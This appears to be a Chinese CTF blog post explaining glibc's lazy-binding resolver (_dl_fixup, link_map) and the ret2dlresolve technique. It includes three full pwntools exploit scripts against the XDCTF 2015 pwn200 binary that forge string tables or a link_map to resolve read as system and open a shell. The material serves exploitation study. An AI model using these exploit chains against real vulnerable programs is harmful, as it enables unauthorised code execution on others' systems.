深入理解ret2dlresolve

collectcrop Lv3

在一开始打pwn时我们就接触过plt表和got表这两个用来动态加载libc函数的重要部分,不过当时我对其理解只限于got表在经过一次调用函数后,里面存着的就是libc中的具体函数指针;而plt表则是我们调用一个函数时事先跳转到的地方,其会跳转到对应got表位置处存的地址。现在我们来学一下是经过了一个什么过程才把真正的函数指针填到got表中,并深入分析一下哪里存在可以利用的点。

其中我们在IDA中看到的.got.plt段就是我们俗称的got表:

.plt段则存着plt表,其中每个函数的plt都有两个jmp,我们调用所有函数都是来到第一个jmp处,然后跳转到对应got表位置存的地址处。在一个函数都还没被调用时,got表里存的就是对应同一个函数的plt表里的第二个jmp前push的地址。所以实际上第一次调用某个函数是由第二个jmp跳转到后续的解析函数(这里是0x400500)。这里看到前面push的数字正好是按照函数在plt中的顺序递增的。而0x400500处也是push一个地址并跳转到另一个地址处。

在gdb调试中,我们可以看到最后会跳转到**_dl_runtime_resolve_xsavec->_dl_fixup函数链进行解析。进dl_fixup时的两个参数就是之前push到栈上的序号以及一个libc里的地址(link_map**地址)。

我们可以定位到2.27glibc源码进行查看,**_dl_runtime_resolve位置在sysdeps/x86_64/dl-trampline.h中。而_dl_fixupelf/dl-runtime.c中。这里我们主要看_dl_fixup**实现。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
const ElfW(Sym) *refsym = sym;
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
}

dl_fixup处理过程

我们一步一步来分析具体做了什么。首先看一下传进来的参数是什么。

1
2
3
4
5
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
  • l 是调用者所在的 link_map,记录该动态库或可执行文件的加载信息。
  • reloc_arg 是重定位槽编号(PLT entry 编号),用于查找具体哪个函数需要绑定。

然后看看link_map是一个什么样的结构

1
2
3
4
5
6
7
struct link_map
{
ElfW(Addr) l_addr; // 当前对象在内存中实际加载地址与它的ELF文件中指定地址的差值(即重定位偏移)
char *l_name; // 当前共享对象的文件名(绝对路径)
ElfW(Dyn) *l_ld; // 指向该对象的动态段(.dynamic section),里面包含了所有动态链接的信息
struct link_map *l_next, *l_prev; // 链表指针,指向加载链中的前一个和下一个 link_map
};

调试时看到的对应结构体远比上面的结构体定义复杂,不过前几个字段还是对的上的,发现第一个next域指的很近,实际使两个link_map重叠了。我们可以跟着next域打印几个link_map链表结点看看。

看的出来link_map串联起了多个动态链接库。

ElfW(type) 是用于处理 32位与64位 ELF 兼容性 的一个 GNU-style 宏技巧,它可以根据目标架构自动选择正确的类型。

先看这些宏的定义顺序:

1
2
3
#define ElfW(type)        _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t

再看变量 __ELF_NATIVE_CLASS 的含义:

  • __ELF_NATIVE_CLASS 在 32 位系统上为 32
  • 在 64 位系统上为 64

所以:

比如 ElfW(Addr) 会被展开为如下过程(以 64 位为例):

1
2
3
4
ElfW(Addr)
-> _ElfW(Elf, 64, Addr)
-> _ElfW_1(Elf, 64, _Addr)
-> Elf64_Addr
宏调用 展开结果
ElfW(Addr) Elf32_Addr(32位)或 Elf64_Addr(64位)
ElfW(Sym) Elf64_Sym
ElfW(Dyn) Elf64_Dyn
ElfW(Half) Elf64_Half

而在elf/elf.h中,我们就可以看到Elf64_Addr实际就是一个64位的无符号整型。

Dyn的这个结构体占16字节

1. 获取符号表与字符串表

1
2
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
  • symtab:符号表指针,保存函数名和地址等信息。
  • strtab:字符串表指针,保存符号名字符串(比如 "printf")。

2. 获取当前重定位项

1
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
  • DT_JMPREL:保存 .rel.plt 表的位置;
  • reloc_offset 是根据 reloc_arg 算出来的;
  • reloc:指向当前 PLT 的重定位项。

从上图也可以看到通过基址加偏移的方式计算出了read got的重定位表项地址

3. 获取符号项和地址

1
2
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
  • reloc->r_info 里面编码了符号索引;
  • sym 是要绑定的符号(比如 printf);
  • rel_addr 是 GOT 中的地址,即我们需要写入“真正函数地址”的地方。

4. 断言:必须是 PLT 重定位

1
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
  • 只处理 JMP_SLOT 类型(即跳转槽),其他如 RELATIVE 等不由 _dl_fixup 处理。

5. 判断符号是否可见并查找真实地址

1
if (ELFW(ST_VISIBILITY) (sym->st_other) == 0)
  • 如果符号是默认可见(即不是 hidden),则进行全局符号查找:
1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
  • 查找流程包括版本信息、作用域锁等;
  • result 是找到该符号所在的 link_map
  • sym->st_value 是符号在该库内的偏移,加上 result 的基地址就是最终地址。

执行完后rax为0x7ffff7ff4000,刚好是之前libc.so.6那个link_map的地址。

6. 查询出具体函数的地址

1
2
3
4
5
6
7
8
9
#define DL_FIXUP_MAKE_VALUE(map, addr) (addr)
#define LOOKUP_VALUE_ADDRESS(map) ((map) ? (map)->l_addr : 0)

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);

如果 sym 存在,就计算:

1
value = l_addr + sym->st_value;

这里的l_addr是libc在库中的偏移,也就是说这个是libc_base,那么value也就是:符号的真实内存地址

否则:

1
value = DL_FIXUP_MAKE_VALUE(result, 0);

即符号未找到,回传 0。

从pwndbg中可以很清楚看到read函数的实际地址已经被计算出来了。

7. 修正值:考虑架构的特殊处理

1
2
#define elf_machine_plt_value(map, reloc, value) (value)
value = elf_machine_plt_value (l, reloc, value);
  • 某些架构需要对地址进行调整(如加偏移、修正格式);

8. IFUNC 处理(间接函数)

1
2
3
if (sym && STT_GNU_IFUNC) {
value = elf_ifunc_invoke(...);
}
  • 如果符号类型是 GNU_IFUNC(间接函数),则先调用解析函数获得真实地址。

9. 写回 GOT 表(用于后续直接跳转)

1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);

elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const ElfW(Sym) *refsym, const ElfW(Sym) *sym,
const ElfW(Rela) *reloc,
ElfW(Addr) *reloc_addr, ElfW(Addr) value)
{
return *reloc_addr = value;
}
  • dl_bind_not 表示是否跳过写回(某些情况会保留懒绑定);
  • 否则会调用 elf_machine_fixup_plt()value 写入 GOT 中的 rel_addr,完成绑定;
  • 返回 value 给调用方继续执行。

ret2dlresolve利用手法

该手法适用于没有 libc 泄露或 info leak的情况,但有栈溢出、有任意可控内存写,且已知 plt, got, rel.plt 等节区偏移。本节我们以2015-xdctf-pwn200这个例题来学习这一手法。题目漏洞很明显,一个裸的栈溢出。

题目里没啥别的控制rdx的gadget,这里可以用ret2csu。

三种 RELRO 模式对比如下,我们在不同的保护模式下利用方式也有所区别,在Full RELRO下该利用手法就失效了。

RELRO 类型 .got.plt 可写性 攻击难度 是否启用 lazy binding(延迟绑定)
No RELRO 可写 最低 开启
Partial RELRO .got.plt 可写 中等 开启
Full RELRO .got.plt 也只读 最高 禁用(立即绑定)

由于寻找libc基址是通过strtab + sym->st_name这个函数的名字来查找的

1
2
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

No RELRO-64

DYNAMIC节中就存着DT_STRTABDT_SYMTAB,分别指向字符名表和符号表。而这个DYNAMIC节在No RELRO情况下是可写的。那么利用思路就很明确了,可以直接rop链调用read读取内容覆盖DT_STRTAB为一个我们可控的地址,然后我们自己在该地址处伪造一个字符表,把目标函数的字符串换成system,最后直接返回到该函数plt表第二个jmp前的push处压id调用**_dl_runtime_resolve**即可。

解析完就可以直接执行system函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p = process("main_no_relro_64")
elf = ELF("./main_no_relro_64")

pop_rdi_ret = 0x0000000000400773
pop_rsi_r15_ret = 0x0000000000400771
ret = 0x00000000004004c6
read_got = 0x600B18
gadget1 = 0x40076A
gadget2 = 0x400750
strtab = 0x600990
main = 0x40063E
data = 0x600c00

def ret2csu(call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78, return_after_call=0x0):
payload = b"A" * padding
payload += p64(gadget1) # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(call_got_addr) # r12 = GOT 地址
payload += p64(rdi_val) # r13 = edi
payload += p64(rsi_val) # r14 = rsi
payload += p64(rdx_val) # r15 = rdx
payload += p64(gadget2) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]
payload += p64(0) * 7 # 对齐,模拟返回值保存现场
payload += p64(return_after_call) if return_after_call else b""
return payload

p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, strtab, 8, return_after_call=main))
p.send(p64(data)) # 更改DT_STRTAB

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")

p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, data, 0x60, return_after_call=main))
p.send(dynstr) # 伪造字符表

p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, data+0x100, 8, return_after_call=main))
p.send(b"/bin/sh\x00") # 读入字符串

payload = b"a"*0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data+0x100) + p64(0x400516)
p.sendlineafter("Welcome to XDCTF2015~!",payload) # 将read函数解析成system从而获取shell

p.interactive()

PARTIAL RELRO-64

法一

由于在PARTIAL RELRO下dynamic节不可直接改写,所以要借助其它方式来利用。首先我们重温一下dl_fixup的流程,以write调用为例,一开始我们可以发现可以定位到ELF JMPREL Relocation Table的起始位置0x400488,然后通过rdx的偏移定位到对应的Elf64_Rela表项,这里的rdx是用rsi定位出来的,而rsi正是我们plt表中第一个push的序号。

其中ELF64_Rela结构体定义如下,其中sym的偏移在r_info的高4字节处,那么可以看出write的sym偏移为1,read的sym偏移为4:

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
} Elf64_Rela;
/* How to extract and insert information held in the r_info field. */
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)
#define ELF64_R_INFO(sym,type) ((((Elf64_Xword) (sym)) << 32) + (type))

在 64 位下,Elf64_Sym 结构体为,其中Elf64_Word 32 位,Elf64_Section 16 位,Elf64_Addr 64 位,Elf64_Xword 64 位

所以,Elf64_Sym 的大小为 0x18 个字节。

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

由于got表还是可写的,而且程序解析函数前push进去的link_map地址也在got表上(前面的0x601008位置就是存link_map的地址,10处存**_dl_runtime_resolve函数指针)。那么我们可以直接覆盖掉这个link_map指针,并指向自己伪造一个link_map**,从而可以实现攻击目的。

需要伪造的link_map结构体比较复杂,这里可以尝试结合动态调试把用到的字段填充。比如一开始这里获取symtab,根据正常运行时的结果,我们伪造link_map的偏移0x68处是一个地址A,A+0x8处存着字符表指针,那我们可以把这个位置指向我们可控的地址,其偏移8处为我们伪造的字符表;而偏移0xf8处可以直接填入0x3fe5e0(可见之前的图,理论上也可以自己伪造),复用程序的ELF JMPREL Relocation Table

1
2
3
4
5
6
7
8
9
10
dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
dynstr = dynstr.replace(b"stdout",b"stdo")

fake_link_map = flat({
0x68: (data+0x200),
0xf8: 0x3fe5e0,
0x208: (data+0x210),
0x210: dynstr
})

首先用上述fake_link_map后,我们再往后执行看看,然后需要往偏移0x70处填入0x3fe570,复用正常的link_map的值。

然后版本字段也需要对照正常的情况在偏移0x1c8处填入0x3fe640,但这里比较麻烦的是,正常执行过程中后面的0x2e0偏移处存的是一个libc上的地址,这个是我们不能预测的。我们只能尝试控制该地址后,在该地址+6*8偏移处手动填入0x3fe47b,并且在再高8位地址处手动填入hash码。

之后来到lookup_symbols的调用,发现第四个参数也就是l->l_scope又是一个我们无法控制的值,其由mov rcx, qword ptr [r10 + 0x380]得到,但这个位置的值又是一个libc上的地址,我们不能预测。那么实际上这条路就被封死了,我们只能另寻他法。

有了上面的基础,其实如果我们可以用write或其它输出函数泄露出原来link_map的值,那我们就可以不用自己伪造其它字段,只用更改一开始的strtab的引用即可,也就是更改0x68偏移处的内容即可。但很显然,如果可以泄露地址的话不如直接获取libc基址然后打ret2libc,更加简洁方便,我们这里其实可以用别的方法来在没有地址泄露的情况下打通。

其实我们仔细看源码,就会发现前面的执行都是进了下面这个分支中找libc计算地址的,但实际程序还可以进入else分支进行计算。

1
2
3
4
5
6
7
8
9
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0){
......
}
else{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

那我们可以构造参数从而使最后byte ptr [rsi + 5]处为3,这里对于read函数来说,后面靠着sym表(也就是0xf8处)得到的idx为4,那么0x7f81ca42efbb处算出的rsi就为0xc,之后只要控制lea rsi, [rax + rsi*8]中的rax就可以完成对rsi的控制。而且这里add rbx,rax得到的rbx得是got表地址,也就是说此时的rax必须为0,因为前面已经把got地址赋给了rbx。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x7f81ca42ef86 <_dl_fixup+6>     lea    rdx, [rsi + rsi*2]             
0x7f81ca42ef8a <_dl_fixup+10> sub rsp, 0x10
0x7f81ca42ef8e <_dl_fixup+14> mov rax, qword ptr [rdi + 0x68]
0x7f81ca42ef92 <_dl_fixup+18> mov rdi, qword ptr [rax + 8]
0x7f81ca42ef96 <_dl_fixup+22> mov rax, qword ptr [r10 + 0xf8]
0x7f81ca42ef9d <_dl_fixup+29> mov rax, qword ptr [rax + 8]
0x7f81ca42efa1 <_dl_fixup+33> lea r8, [rax + rdx*8]
0x7f81ca42efa5 <_dl_fixup+37> mov rax, qword ptr [r10 + 0x70]
0x7f81ca42efa9 <_dl_fixup+41> mov rcx, qword ptr [r8 + 8]
0x7f81ca42efad <_dl_fixup+45> mov rbx, qword ptr [r8]
0x7f81ca42efb0 <_dl_fixup+48> mov rax, qword ptr [rax + 8]
0x7f81ca42efb4 <_dl_fixup+52> mov rdx, rcx
0x7f81ca42efb7 <_dl_fixup+55> shr rdx, 0x20
0x7f81ca42efbb <_dl_fixup+59> lea rsi, [rdx + rdx*2]
0x7f81ca42efbf <_dl_fixup+63> lea rsi, [rax + rsi*8]
0x7f81ca42efc3 <_dl_fixup+67> mov rax, qword ptr [r10]
0x7f81ca42efc6 <_dl_fixup+70> mov qword ptr [rsp + 8], rsi
0x7f81ca42efcb <_dl_fixup+75> add rbx, rax
0x7f81ca42efce <_dl_fixup+78> cmp ecx, 7
0x7f81ca42efd1 <_dl_fixup+81> jne _dl_fixup+372 <_dl_fixup+372>
0x7f81ca42efd7 <_dl_fixup+87> test byte ptr [rsi + 5], 3
0x7f81ca42efdb <_dl_fixup+91> jne _dl_fixup+248 <_dl_fixup+248>

构造的fake_link_map如下:

1
2
3
4
5
6
7
8
9
# data为fake_link_map读取到的地址
fake_link_map = flat({
0x00: 0,
0x68: 0x3fe560,
0x70: (data+0x150),
0xf8: 0x3fe5e0,
0x158: (data+0x200-0xc*8),
0x205: 3,
})

然后进入目标分支,此时add rax, qword ptr [rsi + 8]得到的结果最后会写回到got表中,但前面我们已经把rax改成0了,这里我们能够实现写system函数的地址到read_got,需要让rsi指向某个已经解析过的函数的got表地址-8,而且rsi+5处的值得为3,这里刚好可以发现第五个字节一般是0x7f,可以通过test byte ptr [rsi + 5], 3的条件。然后rax存一个相对偏移,从而可以在rax里得到system函数的地址。但我们如果把rax变成偏移,那么前面生成rbx的逻辑就得不到对应得got表地址了。不过其实这个函数解析完后,最后会直接跳转到此时解析出得函数指针处执行,如果能确保此时得rbx为一个可写的地址,也可以实现利用。所以我们还得调整rbx的值。那么实际这个偏移0xf8处的symtab也得我们自己构造。

用的fake_link_map如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# data为fake_link_map读取到的地址
offset = libc.sym["system"]-libc.sym["read"]
fake_link_map = flat({
0x00: offset,
0x68: 0x3fe560, # strtab
0x70: (data+0x150), # Relocation Table
0xf8: (data+0x300), # symtab
0x158: (read_got-8-0xc*8),
0x308: (data+0x320-9*8),
0x320: (read_got-offset),
0x328: (0x400000007),
0x350: b"/bin/sh\x00"
})

最后就可以把system函数地址写到read_got中,只要我们事先把rdi指向/bin/sh,然后再返回到read所对应的plt表项的第二个jump前的push。然后就可以getshell了。每个程序的函数表的布局不一样,所以根据题目的不同改0x68,0x158,0x308,0x328处的值即可。如果想要更紧凑的fake_link_map可以自行更改偏移。

最终exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p = process("main_partial_relro_64")
elf = ELF("./main_partial_relro_64")
libc = ELF("./libc.so.6")

pop_rdi_ret = 0x00000000004007a3
pop_rsi_r15_ret = 0x00000000004007a1
ret = 0x00000000004004fe
read_got = 0x601030
gadget1 = 0x40079A
gadget2 = 0x400780
link_map = 0x601008
main = 0x40066E
data = 0x601500
# strtab = 0x3fe438

def ret2csu(call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78, return_after_call=0x0):
payload = b"A" * padding
payload += p64(gadget1) # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(call_got_addr) # r12 = GOT 地址
payload += p64(rdi_val) # r13 = edi
payload += p64(rsi_val) # r14 = rsi
payload += p64(rdx_val) # r15 = rdx
payload += p64(gadget2) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]
payload += p64(0) * 7 # 对齐,模拟返回值保存现场
payload += p64(return_after_call) if return_after_call else b""
return payload


p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, link_map, 0x8, return_after_call=main))
p.send(p64(data))

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
dynstr = dynstr.replace(b"stdout",b"stdo")

offset = libc.sym["system"]-libc.sym["read"]
log.info(offset)
fake_link_map = flat({
0x00: offset,
0x68: 0x3fe560, # strtab
0x70: (data+0x150), # Relocation Table
0xf8: (data+0x300), # symtab
0x158: (read_got-8-0xc*8),
0x308: (data+0x320-9*8),
0x320: (read_got-offset),
0x328: (0x400000007),
0x350: b"/bin/sh\x00"
})


p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, data, 0x400, return_after_call=main))
p.send(fake_link_map)

payload = b"a"*0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data+0x350) + p64(0x400546)
p.sendlineafter("Welcome to XDCTF2015~!",payload)

p.interactive()
法二

但我之后发现有字符表位于0x3fe438处好像是直接可写的,而且其地址也是固定的,那么就可以试试直接覆盖不在程序段的字符表。

可惜的是最后有如下报错,那我们跟进去dl_fixup看看是具体哪里出了问题。报错说是e不是一个symbol system version

发现是我们前面直接把read字符串换成system字符串写入后,后面用到的版本信息错位了。那么我们前面就需要确保后续信息的对齐,可以破坏掉一些已经解析过的libc函数的字符串缩减字符,由于不会再用到该字符串,所以无伤大雅。

将版本信息对齐后,就可以正常把system函数地址解析进入read got了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
context(arch="amd64",log_level="debug")
context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"]
p = process("main_partial_relro_64")
elf = ELF("./main_partial_relro_64")

pop_rdi_ret = 0x00000000004007a3
pop_rsi_r15_ret = 0x00000000004007a1
ret = 0x00000000004004fe
read_got = 0x601030
gadget1 = 0x40079A
gadget2 = 0x400780
# strtab = 0x600990
main = 0x40066E
data = 0x601500
strtab = 0x3fe438

def ret2csu(call_got_addr, rdi_val, rsi_val, rdx_val, padding=0x78, return_after_call=0x0):
payload = b"A" * padding
payload += p64(gadget1) # pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(call_got_addr) # r12 = GOT 地址
payload += p64(rdi_val) # r13 = edi
payload += p64(rsi_val) # r14 = rsi
payload += p64(rdx_val) # r15 = rdx
payload += p64(gadget2) # mov rdx, r15; mov rsi, r14; mov edi, r13; call [r12+rbx*8]
payload += p64(0) * 7 # 对齐,模拟返回值保存现场
payload += p64(return_after_call) if return_after_call else b""
return payload

dynstr = elf.get_section_by_name('.dynstr').data()
dynstr = dynstr.replace(b"read",b"system")
dynstr = dynstr.replace(b"stdout",b"stdo")

p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, strtab, 0x98, return_after_call=main))
p.send(dynstr)

p.sendlineafter("Welcome to XDCTF2015~!",ret2csu(read_got, 0, data, 8, return_after_call=main))
p.send(b"/bin/sh\x00")

# gdb.attach(p)
# pause()
payload = b"a"*0x78 + p64(ret) + p64(pop_rdi_ret) + p64(data) + p64(0x400546)
p.sendlineafter("Welcome to XDCTF2015~!",payload)

p.interactive()

但这种方法不是一直可以生效的,主要得看有没有可写的strtab。不如法一通用。

  • 标题: 深入理解ret2dlresolve
  • 作者: collectcrop
  • 创建于 : 2025-06-02 20:41:28
  • 更新于 : 2025-06-02 20:42:08
  • 链接: https://collectcrop.github.io/2025/06/02/深入理解ret2dlresolve/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。